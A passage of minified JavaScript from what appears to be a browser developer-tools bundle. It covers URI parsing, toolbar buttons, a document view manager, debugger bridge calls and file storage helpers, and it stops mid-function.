isDosPath(){return this.isFile&&!this._hostname&&/^\/?[a-z][:|]/i.test(this._pathname||"")}get hasDefaultPort(){if(this.isAbsolute){if("number"!=typeof this._port)return!0;if(this._scheme===r.UriSchemeHttp&&80===this._port)return!0;if(this._scheme===r.UriSchemeHttps&&443===this._port)return!0}return!1}get raw(){return this._raw}get origin(){return this.getComponentsCore(13,1)}get authority(){return this.getComponentsCore(516,1)}get protocol(){return this.getComponentsCore(1025,1)}get scheme(){return this.getComponentsCore(1,1)}get userinfo(){return this.getComponentsCore(2,1)}get host(){return this.getComponentsCore(516,1)}get hostname(){return this.getComponentsCore(4,1)}get pathname(){return this.getComponentsCore(112,1)}get pathnameAndSearch(){return this.getComponentsCore(240,1)}get search(){return this.getComponentsCore(1152,1)}get hash(){return this.getComponentsCore(1280,1)}get port(){return"number"==typeof this._port?this._port:this._scheme===r.UriSchemeHttp?r.DEFAULT_PORT_HTTP:this._scheme===r.UriSchemeHttps?r.DEFAULT_PORT_HTTPS:void 0}get absoluteUri(){return this.getComponentsCore(511,1)}get absolutePath(){var e=this.getComponentsCore(1136,1);this.isDosPath&&(e=e.substr(1));return e}get localPath(){if(this.isUnc||this.isDosPath){var e=this.getComponentsCore(1136,1);e=e.replace(r.PATH_DELIMITER,r.DOS_PATH_DELIMITER);if(this.isUnc)return r.UNC_ROOT+this.hostname+e;if(this.isDosPath)return e.substr(1)}return""}get segments(){var e=this.getComponentsCore(1136,1);return e.length>1?(e=e.substr(1)).split(r.PATH_DELIMITER):[]}static parse(e,t=1){return new r(e,t)}static tryParse(e,t=1){if(null===e||void 0===e)throw new TypeError("Missing required argument: text.");return r.parseCore(e,t)}static tryMerge(e,t){if(null===e||void 0===e)throw new TypeError("Missing required argument: baseUri.");if(null===t||void 0===t)throw new TypeError("Missing required argument: uri.");return r.mergeCore(e,t)}static create(e){e||(e={});var t,n,i,a,s,l,c,u=!1,d=0;"boolean"==typeof e.keepDelimiter&&(u=e.keepDelimiter);if("string"==typeof e.scheme){t=o.a.tryDecodeURIComponent(e.scheme.toLowerCase());d|=1;t!==r.UriSchemeHttp&&t!==r.UriSchemeHttps||(d|=512)}if("string"==typeof e.userinfo){n=e.userinfo.toLowerCase();d|=2}if("string"==typeof e.hostname){i=e.hostname.toLowerCase();d|=4}if("number"==typeof e.port){const t=e.port;if(e instanceof r){a=e._port}else{if(t<0)throw new RangeError("Invalid port.");a=e.port}"number"==typeof a&&(d|=520)}if(e.pathname){s=e.pathname;d|=112}if(e.search){l=e.search;!u&&l.length>0&&l.charAt(0)===r.SEARCH_DELIMITER&&(l=l.substr(1));d|=128}if(e.hash){c=e.hash;!u&&c.length>0&&c.charAt(0)===r.HASH_DELIMITER&&(c=c.substr(1));d|=256}var h=Object.create(r.prototype);h._scheme=t;h._userinfo=n;h._hostname=i;h._port=a;h._pathname=s;h._search=l;h._hash=c;h._components=d;h=new r(h.toString());if("string"==typeof e.uri){var p=new r(e.uri);h=new r(p,h)}return h}static equals(e,t,n=!1){if(e===t)return!0;if(null===e)return null===t;if(null===t)return!1;if(void 0===e)return void 0===t;if(void 0===t)return!1;var o,i;o="string"==typeof e?new r(e,0):e;i="string"==typeof t?new r(t,0):t;return!!r.stringEquals(o.toString(),i.toString(),n)||!!(o._scheme===i._scheme&&o._userinfo===i._userinfo&&o._hostname===i._hostname&&o.port===i.port&&r.stringEquals(o._pathname,i._pathname,n)&&r.stringEquals(o._search,i._search,n)&&r.stringEquals(o._hash,i._hash,n))}static compare(e,t,n=511,o=1,i=!1){if("number"!=typeof n)throw new TypeError("Invalid argument: partsToCompare.");if("number"!=typeof o)throw new TypeError("Invalid argument: compareFormat.");if(0!=(-4&o))throw new RangeError("Argument out of range: compareFormat.");return e===t?0:null===e||void 0===e?null===t||void 0===t?0:-1:null===t||void 0===t?1:e.isAbsolute&&t.isAbsolute?r.compareStrings(e.getComponentsCore(n,o),t.getComponentsCore(n,o),i):e.isAbsolute?1:t.isAbsolute?-1:r.compareStrings(e.raw,t.raw,i)}static getCurrent(){return"undefined"!=typeof self?new r(self.location.href):new r(".")}getComponents(e,t){if("number"!=typeof e||"number"!=typeof t)throw new TypeError("Invalid argument: components.");if("number"!=typeof t)throw new TypeError("Invalid argument: format.");if(0!=(-4&t))throw new RangeError("Argument out of range: format.");e=r.adjustComponents(e);return this.getComponentsCore(e,t)}toString(){this._toString||(this._toString=this.getComponentsCore(511,3));return this._toString}toJSON(){return this.toString()}isSameOrigin(e){if(null===e||void 0===e)throw new TypeError("Missing required argument: uri.");var t=e instanceof r?e:new r(String(e));return this.isAbsolute?this.getComponentsCore(13,1)===t.getComponentsCore(13,1):!t.isAbsolute}isBaseOf(e){if(null===e||void 0===e)throw new TypeError("Missing required argument: uri.");var t=this.getComponentsCore(255,3),n=this.getComponentsCore(255,3),o=t.split(r.PATH_DELIMITER),i=n.split(r.PATH_DELIMITER);if(o.length>i.length)return!1;for(var a=0;a<o.length;a++)if(!r.compareStrings(o[a],i[a],this.isDosPath||this.isUnc||e.isDosPath||e.isUnc))return!1;return!0}makeRelative(e){if(null===e||void 0===e)throw new TypeError("Missing required argument: uri.");if(!this.isAbsolute||!e.isAbsolute)throw new URIError("URI not absolute.");if(!this.isSameOrigin(e))return e;var t=e.absolutePath,n=r.computePathDifference(this.absolutePath,t,this.isDosPath||this.isUnc),o=/[:\\/?#]/.exec(n);!o||":"!==o[0]||e.isDosPath&&n===t||(n="./"+n);var i=n+e.getComponentsCore(384,1);return new r(i,2)}equals(e,t){return r.equals(this,e,t)}static stringEquals(e,t,n=!1){if(n&&"string"==typeof e&&"string"==typeof t){e=e.toLowerCase();t=t.toLowerCase()}return e===t}static compareStrings(e,t,n){if(n&&"string"==typeof e&&"string"==typeof t){e=e.toLowerCase();t=t.toLowerCase()}return e>t?1:e<t?-1:0}static formatUserinfo(e,t){switch(t){case 1:e=r.escape(e,"?#","%");break;case 2:e=o.a.tryDecodeURIComponent(e);break;case 3:e=r.unescape(e,"@/\\","safe")}return e}static formatPath(e,t){switch(t){case 1:e=r.escape(e,"?#","%");break;case 2:e=o.a.tryDecodeURIComponent(e);break;case 3:e=r.unescape(e,"?#","safe")}return e}static formatSearch(e,t){switch(t){case 1:e=r.escape(e,"#","%");break;case 2:e=r.unescape(e,"#","all");break;case 3:e=r.unescape(e,"#","safe")}return e}static formatHash(e,t){switch(t){case 1:e=r.escape(e,"","%");break;case 2:e=r.unescape(e,"#","all");break;case 3:e=r.unescape(e,"#","safe")}return e}static escape(e,t,n){if(!e)return e;for(var r=[],i=0,a="",s=0;s<e.length;s++){var l=e.charAt(s);t.indexOf(l)>-1?a="forced":n.indexOf(l)>-1&&(a="reserved");if(""!==a){i<s&&r.push(o.a.tryEncodeURI(e.substring(i,s)));i=s+1;if("forced"===a)r.push(o.a.tryEncodeURIComponent(l));else if("reserved"===a)if("%"===l){if(s+3<=e.length){var c=e.substr(s,3);if(/^%[a-f\d]{2}$/i.test(c)){r.push(c);a="";s+=2;i+=2;continue}}r.push(o.a.tryEncodeURIComponent("%"))}else r.push(l);a=""}}i<s&&r.push(o.a.tryEncodeURI(e.substring(i,s)));return r.join("")}static unescape(e,t,n){if(!e)return e;var r,i=[],a=0,s=e=>{i.push(o.a.tryEncodeURIComponent(e))},l=(e,t)=>{i.push(e);a=(r+=t)+1},c=()=>{a<r&&i.push(e.substring(a,r));a=r+1};for(r=0;r<e.length;r++){var u=e.charAt(r),d=1;if("%"===u){if(r+3<=e.length){var h=e.substr(r,3);u="";try{if(/^%[a-f\d]{2}$/i.test(h)){var p=parseInt("0x"+h.substr(1));if(p<128){d=2;u=decodeURIComponent(h)}else if(p<224&&r+6<=e.length){h=e.substr(r,6);if(/^(%[a-f\d]{2}){2}$/i.test(h)){d=5;u=decodeURIComponent(h)}}else if(p<240&&r+9<=e.length){h=e.substr(r,9);if(/^(%[a-f\d]{2}){3}$/i.test(h)){d=8;u=decodeURIComponent(h)}}else if(p<245&&r+12<=e.length){h=e.substr(r,12);if(/^(%[a-f\d]{2}){4}$/i.test(h)){d=11;u=decodeURIComponent(h)}}}}catch(e){c();l(h,d)}if("all"===n){if(1!==u.length)continue;c();l(u,d)}else{if(1!==u.length)continue;if("%"===u||t.indexOf(u)>-1)r+=2;else if(/^[;/?:@&=+$#%\\\x00-\x17]$/.test(u))r+=2;else{c();l(u,d)}}}}else{if("all"===n)continue;if(t.indexOf(u)>-1){c();s(u)}}}c();return i.join("")}static parseCore(e,t,n){var o,i,a,s,l,c,u,d,h=!1,p=0,m=e;c=e=e.trim();if(2!==t){r.DosPath.test(e)&&(e="file:///"+e);var g=r.UriParser.exec(e);if(g){o=g[r.SCHEME_INDEX];i=g[r.USERINFO_INDEX];a=g[r.HOSTNAME_INDEX];s=g[r.PORT_INDEX];c=g[r.PATHNAME_INDEX];h=!!g[r.SCHEMESEGMENT_INDEX];u=g[r.SEARCH_INDEX];d=g[r.HASH_INDEX];t=1}else{if(1===t){if(n)throw new URIError;return}t=2}if(!o&&h){if(n)throw new URIError;return}(o||a)&&c&&(c=c.replace(/\\/g,r.PATH_DELIMITER));if(o&&o.toLowerCase()===r.UriSchemeFile)if(/^\.{1,2}$/.test(a||"")&&/^([\\/]|$)/.test(c)||/^[a-z]$/i.test(a||"")&&/^:[\\/]/.test(c)){c=a+c;a=void 0}else if(!a)if(/^[\\/]\.{1,2}/.test(c))c=c.substr(1);else if(/^[\\/]{2,}/.test(c)){var f=(c=c.replace(/^[\\/]{2,}/,"")).indexOf(r.PATH_DELIMITER);if(f>-1){a=c.substr(0,f);c=c.substr(f)}else{a=c;c=""}}}if("string"==typeof o){o=o.toLowerCase();p|=1;o!==r.UriSchemeHttp&&o!==r.UriSchemeHttps||(p|=512)}"string"==typeof i&&(p|=2);if("string"==typeof a){a=a.toLowerCase();p|=4}if("string"==typeof s){l=parseInt(s);p|=520}"string"==typeof c&&2!==t&&(c=r.normalizePath(c));c&&(p|=112);"string"==typeof u&&(p|=128);"string"==typeof d&&(p|=256);n||(n=Object.create(r.prototype));n._scheme=o;n._userinfo=i;n._hostname=a;n._port=l;n._pathname=r.escape(c,"","%");n._search=u;n._hash=d;n._raw=m;n._components=p;return n}static mergeCore(e,t,n){if(!n&&t.isAbsolute)return t;var o,i,a,s,l,c,u,d=0;if(t._scheme){o=t._scheme;i=t._userinfo;a=t._hostname;s=t._port;l=r.normalizePath(t._pathname||"");c=t._search}else{if(t._hostname){i=t._userinfo;a=t._hostname;s=t._port;l=r.normalizePath(t._pathname||"");c=t._search}else{if(t._pathname){if(t._pathname.charAt(0)===r.PATH_DELIMITER)l=r.normalizePath(t._pathname);else{l=r.mergePath(e._pathname||"",t._pathname);l=r.normalizePath(l)}c=t._search}else{l=e._pathname;c=t._search?t._search:e._search}i=e._userinfo;a=e._hostname;s=e._port}o=e._scheme}u=t._hash;if("string"==typeof o){d|=1;o!==r.UriSchemeHttp&&o!==r.UriSchemeHttps||(d|=512)}"string"==typeof i&&(d|=2);"string"==typeof a&&(d|=4);"number"==typeof s&&(d|=520);l&&(d|=112);"string"==typeof c&&(d|=128);"string"==typeof u&&(d|=256);n||(n=Object.create(r.prototype));n._scheme=o;n._userinfo=i;n._hostname=a;n._port=s;n._pathname=l;n._search=c;n._hash=u;n._components=d;n._raw=n.toString();return n}static mergePath(e,t){var n=-1;e&&(n=e.lastIndexOf(r.PATH_DELIMITER));return n>=0?e.substr(0,n+1)+t:t}static normalizePath(e){var t=(e=(e=e.replace(/^\s+|\s+$/g,"")).replace(/\\+|\/+/g,r.PATH_DELIMITER)).split(/\//g),n=""===t[0];n&&t.shift();for(var o=0;o<t.length;){switch(t[o]){case r.CURRENT_DIRECTORY_TOKEN:if(0!==o||n){t.splice(o,1);o===t.length&&t.push("");continue}break;case r.PARENT_DIRECTORY_TOKEN:if(0===o&&n){t.splice(o,1);continue}if(o>=1&&t[o-1]!==r.CURRENT_DIRECTORY_TOKEN&&t[o-1]!==r.PARENT_DIRECTORY_TOKEN){t.splice(--o,2);o===t.length&&t.push("");continue}}o++}n&&t.unshift("");return e=t.join(r.PATH_DELIMITER)}static computePathDifference(e,t,n){var o,i=-1;for(o=0;o<e.length&&o<t.length&&0===r.compareStrings(e.charAt(o),t.charAt(o),n);o++)e.charAt(o)===r.PATH_DELIMITER&&(i=o);if(0===o)return t;if(o===e.length&&o===t.length)return"";for(var a=[];o<e.length;o++)e.charAt(o)===r.PATH_DELIMITER&&a.push(r.PARENT_DIRECTORY_TOKEN,r.PATH_DELIMITER);return 0===a.length&&t.length-1===i?r.CURRENT_DIRECTORY_TOKEN+r.PATH_DELIMITER:a.join("")+t.substr(i+1)}static adjustComponents(e){512&e&&(e|=8);2&e&&2!=(-1025&e)&&(e|=4);8&e&&8!=(-1537&e)&&(e|=4);13&e&&(256&e?e|=240:128&e?e|=112:64&e?e|=48:32&e&&(e|=16));80==(112&e)&&(e|=32);return e}getComponentsCore(e,t){var n=[],o=!1,i=e&this._components;if(1&i){this._scheme&&n.push(this._scheme);o=this._scheme===r.UriSchemeFile;1!==e&&n.push(r.PROTOCOL_DELIMITER)}(1025&e&&526&i||o)&&n.push(r.SCHEME_DELIMITER);if(526&i){if(2&i){n.push(r.formatUserinfo(this._userinfo||"",t));2!==e&&n.push(r.USERINFO_DELIMITER)}4&i&&this._hostname&&n.push(this._hostname);if(520&i&&void 0!==this.port){n.push(r.PORT_DELIMITER);n.push(this.port.toString())}}112&e&&n.push(this.getCanonicalPath(e,t));if(128&i&&this._search){128!==e&&n.push(r.SEARCH_DELIMITER);n.push(r.formatSearch(this._search,t))}if(256&i&&this._hash){256!==e&&n.push(r.HASH_DELIMITER);n.push(r.formatHash(this._hash,t))}return n.join("")}getCanonicalPath(e,t){var n=this._pathname||"",o=!1;1024&e?o=!0:this.isAbsolute&&(this.isFile?o=!0:116==(116&this._components)&&(o=!0));if(!(112&this._components)||0===n.length)return 16&e&&o?r.PATH_DELIMITER:"";if(16&e){var i=n.charAt(0)!==r.PATH_DELIMITER;o&&i&&(n=r.PATH_DELIMITER+n)}var a=112&e;if(112===a)return r.formatPath(n,t);var s,l=n.lastIndexOf(r.PATH_DELIMITER);if(16&a){var c="";l===n.length-1?c=r.formatPath(n,t):l>-1&&(c=r.formatPath(n.substr(0,l+1),t));if(16===a)return c;s||(s=[]);s.push(c)}var u=96&a;if(u&&l<n.length-1){var d;d=l>-1?n.substr(l+1):n;if(96===u){d=r.formatPath(d,t);if(96===a)return d;s||(s=[]);s.push(d)}else{var h,p=d.lastIndexOf(r.EXTENSION_DELIMITER);if(32!==u){return 0===p?r.formatPath(d,t):p>0?r.formatPath(d.substr(p),t):""}h=-1===p?r.formatPath(d,t):p>0?r.formatPath(d.substr(0,p),t):"";if(32===a)return h;s||(s=[]);s.push(h)}}return s?s.join(""):""}}r.UriParser=/^(?:([a-z][a-z0-9+.\-]*)[:|])?(?:[\\/]{2}(?:((?:[\w\-._~!$&'()*+,;=:]|%[a-f0-9]{2})*)@)?(\[[^\[\]]+\]|[\w\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF\.\-_]*)(?:\:(\d+))?|(?![\\/]{2}))(([^/\\?#]*:)?[^?#]*?)(?:\?([^#]*?))?(?:#(.*?))?$/i;r.DosPath=/^([a-z]\:|[\\/]{2,}[^\\/@:?#]+)[\\/]/i;r.SCHEME_INDEX=1;r.USERINFO_INDEX=2;r.HOSTNAME_INDEX=3;r.PORT_INDEX=4;r.PATHNAME_INDEX=5;r.SCHEMESEGMENT_INDEX=6;r.SEARCH_INDEX=7;r.HASH_INDEX=8;r.SCHEME_DELIMITER="//";r.PATH_DELIMITER="/";r.DOS_PATH_DELIMITER="\\";r.UNC_ROOT="\\\\";r.USERINFO_DELIMITER="@";r.SEARCH_DELIMITER="?";r.HASH_DELIMITER="#";r.CURRENT_DIRECTORY_TOKEN=".";r.PARENT_DIRECTORY_TOKEN="..";r.PROTOCOL_DELIMITER=":";r.PORT_DELIMITER=":";r.EXTENSION_DELIMITER=".";r.DEFAULT_PORT_HTTP=80;r.DEFAULT_PORT_HTTPS=443;r.SchemeDelimiter="://";r.UriSchemeHttp="http";r.UriSchemeHttps="https";r.UriSchemeFile="file";r.UriSchemeData="data"},function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(0);class r{static changeButtonStatus(e,t,n){var o=r.isEnabled(e);if(t&&!o){e.classList.remove("toolbarButtonStateDisabled");e.setAttribute("aria-disabled","false")}else if(!t&&o){e.classList.add("toolbarButtonStateDisabled");e.setAttribute("aria-disabled","true")}if("boolean"==typeof n){r.IsChangingAriaPressed=!0;if(n){e.setAttribute("aria-pressed","true");e.classList.add("toolbarButtonStateActive")}else{e.setAttribute("aria-pressed","false");e.classList.remove("toolbarButtonStateActive")}r.IsChangingAriaPressed=!1}}static isEnabled(e){return!e.classList.contains("toolbarButtonStateDisabled")}static isValidEvent(e){return("click"===e.type||13===e.keyCode||32===e.keyCode)&&r.isEnabled(e.currentTarget)}static setButtonTooltip(e,t,n=!0){var r=n?Object(o.b)(t):t;e.setAttribute("data-plugin-vs-tooltip",r);e.setAttribute("aria-label",r)}static setupButton(e,t,n,o=!0,i=!0){if("string"==typeof t){r.setButtonTooltip(e,t,i);e.setAttribute("role","button")}if(n){e.addEventListener("click",e=>r.onButtonPress(e,n));e.addEventListener("keydown",e=>r.onButtonPress(e,n));e.addEventListener("DOMAttrModified",t=>{!r.IsChangingAriaPressed&&r.isEnabled(e)&&"aria-pressed"===t.attrName&&t.attrChange===t.MODIFICATION&&n(t)})}e.addEventListener("mousedown",r.onButtonMouseDown);e.addEventListener("mouseenter",r.onButtonMouseEnter);e.addEventListener("mouseleave",r.onButtonMouseLeave);e.addEventListener("mouseup",r.onButtonMouseUp);o||r.changeButtonStatus(e,!1)}static onButtonMouseDown(e){var t=e.currentTarget;r.isEnabled(t)?t.classList.add("toolbarButtonMouseDown"):e.stopImmediatePropagation()}static onButtonMouseEnter(e){var t=e.currentTarget;if(r.isEnabled(t))t.classList.add("toolbarButtonMouseHover");else{e.preventDefault();e.stopImmediatePropagation()}}static onButtonMouseLeave(e){var t=e.currentTarget;t.classList.remove("toolbarButtonMouseHover");t.classList.remove("toolbarButtonMouseDown")}static onButtonMouseUp(e){e.currentTarget.classList.remove("toolbarButtonMouseDown")}static onButtonPress(e,t){if(r.isValidEvent(e)){t(e);e.preventDefault();e.stopImmediatePropagation()}}}},function(e,t,n){"use strict";n.d(t,"a",function(){return l});var o=n(4),r=n(15),i=n(17),a=n(69),s=n(0);class l{constructor(e,t,n=!1,o){this.propertyChanged=new r.a;this._handlers=new Map;this._rootElement=e||document.createElement("div");this._openModels=[];this._toolbar=t;this._keepModelStack=n;this._listeners=new Set;this._testEventObject=new a.a;t&&t.rootElement.classList.add(l.HideResourceToolbarCssClass);o&&this.insertDocumentPlaceholder()}get rootElement(){return this._rootElement}get currentModel(){if(this._openModels.length>0)return this._openModels[this._openModels.length-1]}get currentHandler(){if(this.currentModel)return this._handlers.get(this.currentModel.modelName)}get testEventObject(){return this._testEventObject}get openModels(){return this._openModels}registerHandler(e,t){o.a.hasValue(e);o.a.isTrue(e.length>0);o.a.hasValue(t);this._handlers.set(e,t)}registerListener(e){o.a.hasValue(e);this._listeners.add(e)}doLayout(){if(this.currentModel){const e=this._handlers.get(this.currentModel.modelName);if(e){this._pendingLayoutImmediate&&window.clearImmediate(this._pendingLayoutImmediate);this._pendingLayoutImmediate=window.setImmediate(()=>e.doLayout())}}}primeWithElement(e){this.currentModel||this.rootElement.firstChild||this.rootElement.appendChild(e)}open(e,t={}){o.a.hasValue(e);if(e.preventOpen)return i.a;let n;n=void 0===t.activation?2:t.activation;t.params=t.params||{};t.params.isUserInitiated=0!=t.activation;const r=this._handlers.get(e.modelName);if(!r)return i.a;this.currentModel||0!==n||(n=1);const a=this.currentModel;if(0!==n){this.removeModel(e);this._openModels.push(e);this.propertyChanged.invoke("currentModel")}else this.modelIsOpen(e)||this._openModels.unshift(e);return r.open(e,n,t.params).then(i=>{if(i){!this._keepModelStack&&a&&this.close(a,!1);if(this.modelIsOpen(e)){this.fireOpened(e,n,t.params,t.softOpen);if(0!==n&&e===this.currentModel){if(this.rootElement.firstChild){this.rootElement.removeChild(this.rootElement.firstChild);o.a.isFalse(!!this.rootElement.firstChild)}this.rootElement.appendChild(i.rootElement);r.onAttach&&r.onAttach();this.updateToolbar();r.searchProvider&&r.searchProvider.findAndHighlightMatches()}}}else this.removeModel(e)})}closeCurrent(e){this.currentModel&&this.close(this.currentModel,e)}close(e,t,n=!0,r){o.a.hasValue(e);const i=this._handlers.get(e.modelName);if(i){n=n&&this.currentModel===e&&this._keepModelStack;i.close(e,t);this.removeModel(e);this.fireClosed(e,t);if(n&&this.currentModel)this.open(this.currentModel,{activation:2});else if(!this.currentModel){this.updateToolbar();if(this.rootElement&&this.rootElement.firstChild){this.rootElement.removeChild(this.rootElement.firstChild);r&&this.insertDocumentPlaceholder()}}}}closeAllButThis(e,t,n){for(;this._openModels.length>0;){const o=this._openModels[0];o!==e?this.close(o,t,!1,n):this._openModels.shift()}return e?this.open(e,{activation:2}):i.a}replace(e,t){for(let n=0;n<this._openModels.length;n++)if(this._openModels[n]===e){this._openModels[n]=t;if(n===this._openModels.length-1){this.propertyChanged.invoke("currentModel");this.updateToolbar()}break}}resourceAdded(e,t){o.a.hasValue(e);this.fireAdded(e,t)}resourceRemoved(e){o.a.hasValue(e);this.modelIsOpen(e)&&this.close(e,!0);this.fireRemoved(e)}insertDocumentPlaceholder(){const e=[{description:Object(s.b)("OpenDoc"),shortcutKeys:Object(s.b)("OpenDocShortcut")},{description:Object(s.b)("FindInFiles"),shortcutKeys:Object(s.b)("CtrlShiftF")},{description:Object(s.b)("ToggleConsole"),shortcutKeys:Object(s.b)("ToggleConsoleShortcut")}];this.rootElement.classList.add("resourcesView");const t=document.createElement("div");t.classList.add("documentPlaceholder");this.rootElement.appendChild(t);for(const n of e){const e=document.createElement("div");e.classList.add("documentPlaceholderRow");t.appendChild(e);const o=document.createElement("div");o.classList.add("documentPlaceholderKey");o.textContent=n.shortcutKeys;const r=document.createElement("div");r.classList.add("documentPlaceholderValue");r.textContent=n.description;e.appendChild(o);e.appendChild(r)}this.testEventObject.fireEvent("placeholderInserted")}getElementsByClassNameInToolbarRootElement(e){return this._toolbar.rootElement.getElementsByClassName(e)}updateToolbar(){if(this._toolbar)if(this.currentModel&&this.currentModel.toolbarPanelTemplate){this._toolbar.model=this.currentModel;this._toolbar.panelTemplateId=this.currentModel.toolbarPanelTemplate;this.currentModel.onToolBarDefined&&this.currentModel.onToolBarDefined(this._toolbar);this._toolbar.rootElement.classList.remove(l.HideResourceToolbarCssClass)}else this._toolbar.rootElement.classList.add(l.HideResourceToolbarCssClass)}modelIsOpen(e){return this._openModels.indexOf(e)>=0}removeModel(e){const t=this._openModels.indexOf(e);if(t>=0){this._openModels.splice(t,1);t===this._openModels.length&&this.propertyChanged.invoke("currentModel")}}fireOpened(e,t,n,o){this._listeners.forEach(r=>{r.resourceOpened&&r.resourceOpened(e,t,n,o)});this._testEventObject.fireEvent("resourceOpened",{model:e,activation:t})}fireClosed(e,t){this._listeners.forEach(n=>{n.resourceClosed&&n.resourceClosed(e,t)});this._testEventObject.fireEvent("resourceClosed",{model:e,isRuntimeTriggered:t})}fireAdded(e,t){this._listeners.forEach(n=>{n.resourceAdded&&n.resourceAdded(e,t)});this._testEventObject.fireEvent("resourceAdded",{model:e,couldHaveExistingChildren:t})}fireRemoved(e,t){this._listeners.forEach(t=>{t.resourceRemoved&&t.resourceRemoved(e)});this._testEventObject.fireEvent("fireRemoved",{model:e,leaveInTable:t})}}l.NextModelId=1;l.HideResourceToolbarCssClass="BPT-hidden"},function(e,t,n){"use strict";n.d(t,"a",function(){return o});n.d(t,"b",function(){return r});n.d(t,"c",function(){return i});n.d(t,"d",function(){return a});n.d(t,"f",function(){return c});n.d(t,"e",function(){return u});n.d(t,"g",function(){return d});const o=Symbol("ClientProxy#InvokeEvent"),r=Symbol("ClientProxy#InvokeMethod"),i=Symbol("ClientProxy#Realize"),a=Symbol("ClientProxy#SubscribeEvents"),s={},l={};function c(e,t){const n=l[e];if(n)return new n(t);throw new RangeError(`Unknown service proxy "${e}".`)}function u(e,t){const n=s[e];if(n)return new n(t);throw new RangeError(`Undefined ITC service "${e}".`)}function d(e,t){const n=Object.keys(e),o=Object.keys(t);for(const t of n){const n=e[t];if(s.hasOwnProperty(t))throw new RangeError(`Multiple service proxies registered for "${t}".`);s[t]=n}for(const e of o){const n=t[e];if(l.hasOwnProperty(e))throw new RangeError(`Multiple event source proxies registered for "${e}".`);l[e]=n}}},function(e,t,n){"use strict";n.d(t,"c",function(){return a});n.d(t,"a",function(){return s});n.d(t,"f",function(){return l});n.d(t,"e",function(){return c});n.d(t,"h",function(){return u});n.d(t,"g",function(){return d});n.d(t,"d",function(){return h});n.d(t,"b",function(){return p});var o=n(56),r=n(10),i=n(6);function a(e){return o.b()?Object(r.g)().call("ms:debugger","breakModeCommand",[e]):Promise.reject(!1)}function s(e){o.a(i.c.debugger);return Object(r.g)().call("ms:debugger","addToWatch",[e])}function l(){return Object(r.g)().call("ms:debugger","getLocalsForCurrentStackFrame",[])}function c(){return Object(r.g)().call("ms:debugger","getCurrentCallFrameId",[])}function u(e,t=1,n=1,a=""){o.a(i.c.debugger);return Object(r.g)().call("ms:debugger","showDocument",[e,t||1,n||1,a])}function d(e,t=1,n=1){return Object(r.g)().call("ms:debugger","getTranslatedLocation",[e,t||1,n||1])}function h(e,t=!1){return Object(r.g)().call("ms:debugger","executeOnTargetPage",[e,t])}function p(e){return Object(r.g)().call("ms:debugger","downloadUrl",[e])}},,function(e,t,n){"use strict";n.d(t,"b",function(){return r});n.d(t,"a",function(){return i});var o=n(5);function r(){return"1"===o.b.utilities.getEnvironmentVariable("f12selftest")&&!o.b.isLoadedByF12Chooser}function i(){return"1"===o.b.utilities.getEnvironmentVariable("crawler")&&!o.b.isLoadedByF12Chooser}},function(e,t,n){"use strict";var o=n(5),r=n(13),i=n(0);class a{constructor(e,t){this.id=e;this.options=t}get streamId(){return this.id}get fileOptions(){return this.options}close(){return u().closeFile(this.id)}read(){return u().read(this.id,this.options.type)}seek(e,t){if(!this.isInteger(e))throw new Error(Object(i.a)("JSPlugin.7000"));if(this.isNullOrUndefined(t))throw new Error(Object(i.a)("JSPlugin.7001"));return u().seek(this.id,e,t)}writeAllText(e){return u().write(this.id,e,e.length,this.options.type)}write(e){if("string"!=typeof e&&!(e instanceof Array))throw new Error(Object(i.a)("JSPlugin.7002"));return this.writeAllText(e)}readAllHelper(e){return u().read(this.id,this.options.type).then(t=>null===t||0===t.length?e:this.readAllHelper(e.concat(t)))}isInteger(e){return parseFloat(e)===parseInt(e,10)&&!isNaN(e)}isNullOrUndefined(e){return null===e||void 0===e}}var s=n(14);n.d(t,"a",function(){return u});class l{static getPluginRelativePath(e){const t=document.createElement("a");t.href=e;const n=t.pathname.replace(/\//g,"\\");t.href=document.location.href;const o=t.pathname.replace(/\//g,"\\"),r=n.substr(0,n.lastIndexOf("\\")),i=o.substr(0,o.lastIndexOf("\\")),a=r.split("\\"),s=i.split("\\"),l=[],c=Math.max(a.length,s.length);let u=0;for(let e=0;e<c&&a[e]===s[e];e++)u++;if(s.length>u)for(let e=u;e<s.length;e++)l.push("..");if(a.length>u)for(let e=u;e<a.length;e++)l.push(a[e]);l.push(n.substr(n.lastIndexOf("\\")+1));return l.join("/")}static prependPluginName(e){return r.z+"\\"+e}async readEntireFile(e,t){const n=t.persistence===s.d.temporary?e:l.prependPluginName(e);if(l.StorageDispatch.openFileAsync){let e=null;try{e=await l.StorageDispatch.openFileAsync(n,s.a.read,t.encoding,t.mode,t.persistence,t.type);return await l.StorageDispatch.readTextAsync(e,0)}finally{null!=e&&await l.StorageDispatch.closeFileAsync(e)}}else{let e=null;try{e=l.StorageDispatch.openFile(n,s.a.read,t.encoding,t.mode,t.persistence,t.type);return l.StorageDispatch.readText(e,0)}finally{null!==e&&l.StorageDispatch.closeFile(e)}}}async writeEntireFile(e,t,n){let o=null;const r=n.persistence===s.d.temporary?e:l.prependPluginName(e);if(l.StorageDispatch.openFileAsync)try{o=await l.StorageDispatch.openFileAsync(r,s.a.write,n.encoding,n.mode,n.persistence,n.type);await l.StorageDispatch.writeTextAsync(o,t,0,0)}finally{null!==o&&await l.StorageDispatch.closeFileAsync(o)}else try{o=l.StorageDispatch.openFile(r,s.a.write,n.encoding,n.mode,n.persistence,n.type);l.StorageDispatch.writeText(o,t,0,0)}finally{null!==o&&l.StorageDispatch.closeFile(o)}}getResourceIdFromRelativePath(e){let t=e.replace(/\\/g,"/");t.length>0&&"/"===t[0]&&(t=t.substr(1));return t}readHostFileAsync(e){return new Promise(t=>{const n=new XMLHttpRequest;n.open("GET",e,!0);n.onload=(()=>{if(n.status>=400)return t(null);t(n.responseText)});n.onerror=(()=>{t(null)});n.ontimeout=(()=>{t(null)});n.onabort=(()=>{t(null)});n.send()})}async closeFile(e){l.StorageDispatch.closeFileAsync?await l.StorageDispatch.closeFileAsync(e):l.StorageDispatch.closeFile(e)}async deleteFile(e){l.StorageDispatch.deleteFile(e)}fileDialog(e,t,n){const o=[];n&&o.push(n.encoding);switch(e){case s.b.open:return l.StorageDispatch.showOpenFileDialogAsync?l.StorageDispatch.showOpenFileDialogAsync(t.name,o,t.extensions):Promise.resolve(l.StorageDispatch.showOpenFileDialog(t.name,o,t.extensions));case s.b.save:return 